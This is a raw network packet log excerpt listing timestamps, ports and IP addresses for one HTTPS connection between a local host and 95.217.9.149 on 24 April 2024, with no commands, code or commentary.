Apr 24, 2024 17:47:15.603513002 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.603557110 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.603557110 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.609615088 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.609628916 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.609711885 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.609724045 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.609775066 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.614448071 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.614460945 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.614526033 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.614537954 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.614587069 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.619244099 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.619266987 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.619312048 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.619323015 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.619349003 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.619374037 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.624123096 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.624135017 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.624186039 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.624197006 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.624222994 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.624434948 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.629419088 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.629431009 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.629491091 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.629503012 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.629551888 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.634634972 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.634648085 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.634713888 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.634727001 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.634774923 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.639278889 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.639291048 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.639349937 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.639362097 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.639408112 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.644599915 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.644613028 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.644680977 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.644692898 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.644741058 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.649462938 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.649477005 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.649537086 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.649549007 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.649600983 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.654460907 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.654475927 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.654530048 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.654550076 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.654596090 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.658859015 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.658874035 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.658935070 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.658946991 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.658997059 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.663942099 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.663955927 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.664025068 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.664036989 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.664086103 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.669605970 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.669639111 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.669677019 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.669687986 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.669717073 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.669735909 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.672862053 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.672874928 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.672941923 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.672955036 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.673002958 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.677681923 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.677695036 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.677757025 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.677769899 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.677815914 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.681899071 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.681912899 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.681983948 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.681994915 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.682044029 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.686379910 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.686409950 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.686467886 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.686480045 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.686533928 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.690644979 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.690659046 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.690737963 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.690749884 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.690798998 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.695259094 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.695272923 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.695337057 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.695352077 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.695400000 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.699485064 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.699500084 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.699559927 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.699572086 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.699629068 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.703809977 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.703824997 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.703900099 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.703912020 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.703972101 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.707484007 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.707498074 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.707587004 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.707598925 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.707645893 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.711440086 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.711455107 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.711525917 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.711539030 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.711586952 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.716213942 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.716228962 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.716291904 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.716304064 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.716330051 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.716348886 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.720046043 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.720060110 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.720134974 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.720148087 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.720196962 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.723933935 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.723947048 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.724018097 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.724031925 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.724077940 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.728435040 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.728447914 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.728516102 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.728528023 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.728576899 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.732391119 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.732403040 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.732460976 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.732471943 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.732520103 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.736061096 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.736074924 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.736144066 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.736156940 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.736205101 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.739630938 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.739645004 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.739706993 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.739733934 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.739785910 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.744117975 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.744131088 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.744203091 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.744227886 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.744278908 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.747694969 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.747750044 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.747809887 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.747822046 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.747869968 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.752609968 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.752624989 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.752681971 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.752695084 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.752743959 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.756588936 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.756602049 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.756659031 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.756671906 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.756697893 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.756719112 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.760230064 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.760245085 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.760305882 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.760318995 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.760368109 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.763916016 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.763931036 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.763997078 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.764008999 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.764056921 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.767559052 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.767574072 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.767633915 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.767646074 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.767700911 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.772197008 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.772211075 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.772274971 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.772288084 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.772336006 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.777089119 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.777105093 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.777175903 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.777188063 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.777237892 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.780669928 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.780684948 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.780751944 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.780765057 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.780812025 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.784869909 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.784883022 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.784944057 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.784955978 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.785006046 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.788084030 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.788115025 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.788171053 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.788182974 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.788230896 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.791415930 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.791429043 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.791481018 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.791492939 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.791517019 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.792166948 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.794759035 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.794771910 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.794842005 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.794855118 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.794904947 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.800327063 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.800340891 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.800400972 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.800411940 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.800460100 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.803529024 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.803544044 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.803606987 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.803618908 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.803673029 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.806785107 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.806799889 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.806880951 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.806893110 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.806941986 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.810842037 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.810856104 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.810920000 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.810930967 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.810981989 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.814721107 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.814734936 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.814785004 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.814796925 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.814822912 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.814841986 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.817539930 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.817554951 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.817620039 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.817650080 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.817706108 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.820594072 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.820609093 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.820666075 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.820682049 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.820732117 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.824424028 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.824438095 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.824502945 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.824516058 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.824563026 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.827637911 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.827646017 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.827696085 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.827708006 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.827734947 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.827752113 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.830774069 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.830790043 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.830858946 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.830873013 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.830924988 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.834198952 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.834212065 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.834253073 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.834264040 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.834294081 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.834312916 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.837958097 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.837971926 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.838041067 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.838053942 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.838103056 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.840440989 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.840466976 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.840502977 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.840514898 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.840540886 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.840574980 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.843736887 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.843750954 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.843816042 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.843827963 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.843938112 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.847282887 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.847296000 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.847356081 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.847368956 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.847419977 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.850033045 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.850045919 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.850100040 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.850114107 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.850163937 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.853308916 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.853322983 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.853383064 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.853396893 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.853450060 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.857388973 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.857403040 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.857469082 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.857486963 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.857539892 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.861403942 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.861418009 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.861476898 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.861489058 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.861537933 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.863810062 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.863823891 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.863881111 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.863893986 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.863956928 CEST	49745	443	192.168.2.4	95.217.9.149
